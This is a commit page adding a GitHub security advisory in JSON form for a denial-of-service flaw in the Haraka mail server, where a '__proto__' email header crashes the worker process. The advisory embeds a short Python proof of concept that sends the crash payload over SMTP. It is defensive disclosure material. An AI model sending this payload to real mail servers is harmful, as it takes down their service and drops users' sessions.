Skip to content

Commit 6f33d7f

Browse files
1 parent 770c232 commit 6f33d7f

1 file changed

Lines changed: 60 additions & 0 deletions

File tree

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xph3-r2jf-4vp3",
4+
"modified": "2026-04-01T22:56:09Z",
5+
"published": "2026-04-01T22:56:09Z",
6+
"aliases": [
7+
"CVE-2026-34752"
8+
],
9+
"summary": "Haraka affected by DoS via `__proto__` email header",
10+
"details": "### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n this.headers[key] ??= [] // line 216\n this.headers[key][method](value) // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) => {\n if (err.stack) {\n err.stack.split('\\n').forEach((line) => logger.crit(line))\n } else {\n logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n }\n logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:<x@x.com>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:<user@haraka.local>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "Haraka"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.1.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.1.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/haraka/Haraka"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-248"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T22:56:09Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)